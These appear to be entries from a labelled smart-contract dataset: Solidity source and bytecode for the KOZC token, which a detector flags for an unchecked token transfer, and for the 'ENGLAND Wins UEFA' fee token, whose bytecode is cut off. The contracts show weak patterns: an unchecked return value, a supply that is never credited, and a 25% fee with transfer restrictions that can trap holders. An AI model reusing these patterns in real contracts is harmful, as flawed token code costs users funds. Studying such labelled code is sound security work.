function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract KOZCToken is MinterRole, IERC20 {
using SafeMath for uint256;
string private _name;
string private _symbol;
uint8 private _decimals;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
//constructor
constructor() public {
_name = "KOZC";
_symbol = "KOZC";
_decimals = 18;
_totalSupply = 100000000 ether;
}
function drainToken(address _token) onlyOwner public { //owner can withdraw tokens from contract in case of wrong sending
IERC20 token = IERC20(_token);
uint256 tokenBalance = token.balanceOf(this);
token.transfer(_owner, tokenBalance);
}
function mint(address account, uint256 amount) public onlyMinter returns(bool) {
require(amount>0);
_mint(account, amount);
return true;
}
function burn(uint256 amount) public onlyMinter returns(bool) {
_burn(msg.sender, amount);
return true;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
function totalSupply() public view returns(uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address from, address to, uint256 value) public onlyPayloadSize( 2*32) returns (bool) {
_allowances[from][msg.sender] = _allowances[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowances[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowances[msg.sender][spender] = _allowances[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowances[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal onlyPayloadSize( 2*32) {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x60806040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610121578063095ea7b3146101ab57806318160ddd146101e357806323b872dd1461020a578063313ce56714610234578063395093511461025f57806340c10f191461028357806342966c68146102a757806370a08231146102bf578063715018a6146102e05780638da5cb5b146102f75780638f32d59b1461032857806395d89b411461033d578063983b2d56146103525780639865027514610373578063a457c2d714610388578063a9059cbb146103ac578063aa271e1a146103d0578063dd62ed3e146103f1578063e0b22c4c14610418578063f2fde38b14610439575b600080fd5b34801561012d57600080fd5b5061013661045a565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610170578181015183820152602001610158565b50505050905090810190601f16801561019d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b757600080fd5b506101cf600160a060020a03600435166024356104ed565b604080519115158252519081900360200190f35b3480156101ef57600080fd5b506101f861050a565b60408051918252519081900360200190f35b34801561021657600080fd5b506101cf600160a060020a0360043581169060243516604435610510565b34801561024057600080fd5b506102496105ec565b6040805160ff9092168252519081900360200190f35b34801561026b57600080fd5b506101cf600160a060020a03600435166024356105f5565b34801561028f57600080fd5b506101cf600160a060020a036004351660243561064e565b3480156102b357600080fd5b506101cf60043561067b565b3480156102cb57600080fd5b506101f8600160a060020a03600435166106a3565b3480156102ec57600080fd5b506102f56106be565b005b34801561030357600080fd5b5061030c610728565b60408051600160a060020a039092168252519081900360200190f35b34801561033457600080fd5b506101cf610737565b34801561034957600080fd5b50610136610748565b34801561035e57600080fd5b506102f5600160a060020a03600435166107a9565b34801561037f57600080fd5b506102f56107c8565b34801561039457600080fd5b506101cf600160a060020a03600435166024356107d3565b3480156103b857600080fd5b506101cf600160a060020a0360043516602435610883565b3480156103dc57600080fd5b506101cf600160a060020a0360043516610890565b3480156103fd57600080fd5b506101f8600160a060020a03600435811690602435166108a9565b34801561042457600080fd5b506102f5600160a060020a03600435166108d4565b34801561044557600080fd5b506102f5600160a060020a0360043516610a1f565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156104e35780601f106104b8576101008083540402835291602001916104e3565b820191906000526020600020905b8154815290600101906020018083116104c657829003601f168201915b5050505050905090565b60006105016104fa610a3b565b8484610a3f565b50600192915050565b60075490565b60006040604436101561052257600080fd5b600160a060020a0385166000908152600660209081526040808320338452909152902054610556908463ffffffff610bda16565b600160a060020a0386166000908152600660209081526040808320338452909152902055610585858585610bf1565b600160a060020a0385166000818152600660209081526040808320338085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a3506001949350505050565b60045460ff1690565b6000610501610602610a3b565b846106498560066000610613610a3b565b600160a060020a03908116825260208083019390935260409182016000908120918c16815292529020549063ffffffff610cd116565b610a3f565b600061065933610890565b151561066457600080fd5b6000821161067157600080fd5b6105018383610cea565b600061068633610890565b151561069157600080fd5b61069b3383610df8565b506001919050565b600160a060020a031660009081526005602052604090205490565b6106c6610737565b15156106d157600080fd5b60008054604051600160a060020a03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a36000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a031690565b600054600160a060020a0316331490565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104e35780601f106104b8576101008083540402835291602001916104e3565b6107b1610737565b15156107bc57600080fd5b6107c581610ea3565b50565b6107d133610eeb565b565b6000600160a060020a03831615156107ea57600080fd5b336000908152600660209081526040808320600160a060020a038716845290915290205461081e908363ffffffff610bda16565b336000818152600660209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6000610501338484610bf1565b60006108a360018363ffffffff610f3316565b92915050565b600160a060020a03918216600090815260066020908152604080832093909416825291909152205490565b6000806108df610737565b15156108ea57600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051849350600160a060020a038416916370a082319160248083019260209291908290030181600087803b15801561094e57600080fd5b505af1158015610962573d6000803e3d6000fd5b505050506040513d602081101561097857600080fd5b505160008054604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810185905290519394509085169263a9059cbb92604480840193602093929083900390910190829087803b1580156109ee57600080fd5b505af1158015610a02573d6000803e3d6000fd5b505050506040513d6020811015610a1857600080fd5b5050505050565b610a27610737565b1515610a3257600080fd5b6107c581610f6a565b3390565b600160a060020a0383161515610adb57604080517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f7265737300000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a0382161515610b7857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f7373000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b600160a060020a03808416600081815260066020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b60008083831115610bea57600080fd5b5050900390565b60406044361015610c0157600080fd5b600160a060020a0383161515610c1657600080fd5b600160a060020a038416600090815260056020526040902054610c3f908363ffffffff610bda16565b600160a060020a038086166000908152600560205260408082209390935590851681522054610c74908363ffffffff610cd116565b600160a060020a0380851660008181526005602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350505050565b600082820183811015610ce357600080fd5b9392505050565b600160a060020a0382161515610d6157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600754610d74908263ffffffff610cd116565b600755600160a060020a038216600090815260056020526040902054610da0908263ffffffff610cd116565b600160a060020a03831660008181526005602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b600160a060020a0382161515610e0d57600080fd5b600754610e20908263ffffffff610bda16565b600755600160a060020a038216600090815260056020526040902054610e4c908263ffffffff610bda16565b600160a060020a0383166000818152600560209081526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b610eb460018263ffffffff610fe716565b604051600160a060020a038216907f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f690600090a250565b610efc60018263ffffffff61103516565b604051600160a060020a038216907fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669290600090a250565b6000600160a060020a0382161515610f4a57600080fd5b50600160a060020a03166000908152602091909152604090205460ff1690565b600160a060020a0381161515610f7f57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0381161515610ffc57600080fd5b6110068282610f33565b1561101057600080fd5b600160a060020a0316600090815260209190915260409020805460ff19166001179055565b600160a060020a038116151561104a57600080fd5b6110548282610f33565b151561105f57600080fd5b600160a060020a0316600090815260209190915260409020805460ff191690555600a165627a7a723058207c248a94c76db57208d1358cde6ec40ad93cdb79bfac30227656515bb5b300e30029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 4,167 |
0xa0ddffe98220b5c5e568106cdb53591e2e8e26dd
|
// https://t.me/ENGLANDtokenUEFA2020
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract EWU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ENGLAND Wins UEFA";
string private constant _symbol = "ENGLAND Wins UEFA Token";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 20;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 20;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063c3c8cd8011610059578063c3c8cd8014610325578063c9567bf91461033c578063d543dbeb14610353578063dd62ed3e1461037c576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b8063313ce567116100c6578063313ce567146101d35780635932ead1146101fe5780636fc3eaec1461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190612a55565b60405180910390f35b34801561013a57600080fd5b50610155600480360381019061015091906125a5565b6103f6565b6040516101629190612a3a565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d9190612bf7565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190612552565b610425565b6040516101ca9190612a3a565b60405180910390f35b3480156101df57600080fd5b506101e86104fe565b6040516101f59190612c6c565b60405180910390f35b34801561020a57600080fd5b50610225600480360381019061022091906125e5565b610507565b005b34801561023357600080fd5b5061023c6105b9565b005b34801561024a57600080fd5b50610265600480360381019061026091906124b8565b61062b565b6040516102729190612bf7565b60405180910390f35b34801561028757600080fd5b5061029061067c565b005b34801561029e57600080fd5b506102a76107cf565b6040516102b4919061296c565b60405180910390f35b3480156102c957600080fd5b506102d26107f8565b6040516102df9190612a55565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a91906125a5565b610835565b60405161031c9190612a3a565b60405180910390f35b34801561033157600080fd5b5061033a610853565b005b34801561034857600080fd5b506103516108cd565b005b34801561035f57600080fd5b5061037a6004803603810190610375919061263f565b610e1a565b005b34801561038857600080fd5b506103a3600480360381019061039e9190612512565b610f63565b6040516103b09190612bf7565b60405180910390f35b60606040518060400160405280601181526020017f454e474c414e442057696e732055454641000000000000000000000000000000815250905090565b600061040a610403610fea565b8484610ff2565b6001905092915050565b6000683635c9adc5dea00000905090565b60006104328484846111bd565b6104f38461043e610fea565b6104ee8560405180606001604052806028815260200161329960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104a4610fea565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118cf9092919063ffffffff16565b610ff2565b600190509392505050565b60006009905090565b61050f610fea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461059c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059390612b37565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105fa610fea565b73ffffffffffffffffffffffffffffffffffffffff161461061a57600080fd5b600047905061062881611933565b50565b6000610675600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a2e565b9050919050565b610684610fea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610711576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070890612b37565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280601781526020017f454e474c414e442057696e73205545464120546f6b656e000000000000000000815250905090565b6000610849610842610fea565b84846111bd565b6001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610894610fea565b73ffffffffffffffffffffffffffffffffffffffff16146108b457600080fd5b60006108bf3061062b565b90506108ca81611a9c565b50565b6108d5610fea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610962576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095990612b37565b60405180910390fd5b600e60149054906101000a900460ff16156109b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a990612bb7565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a4230600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000610ff2565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8857600080fd5b505afa158015610a9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac091906124e5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2257600080fd5b505afa158015610b36573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b5a91906124e5565b6040518363ffffffff1660e01b8152600401610b77929190612987565b602060405180830381600087803b158015610b9157600080fd5b505af1158015610ba5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc991906124e5565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c523061062b565b600080610c5d6107cf565b426040518863ffffffff1660e01b8152600401610c7f969594939291906129d9565b6060604051808303818588803b158015610c9857600080fd5b505af1158015610cac573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cd1919061266c565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610dc49291906129b0565b602060405180830381600087803b158015610dde57600080fd5b505af1158015610df2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e169190612612565b5050565b610e22610fea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eaf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea690612b37565b60405180910390fd5b60008111610ef2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee990612af7565b60405180910390fd5b610f216064610f1383683635c9adc5dea00000611d2490919063ffffffff16565b611d9f90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f54604051610f589190612bf7565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611062576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105990612b97565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c990612ab7565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111b09190612bf7565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373fffffffffffffffffffffff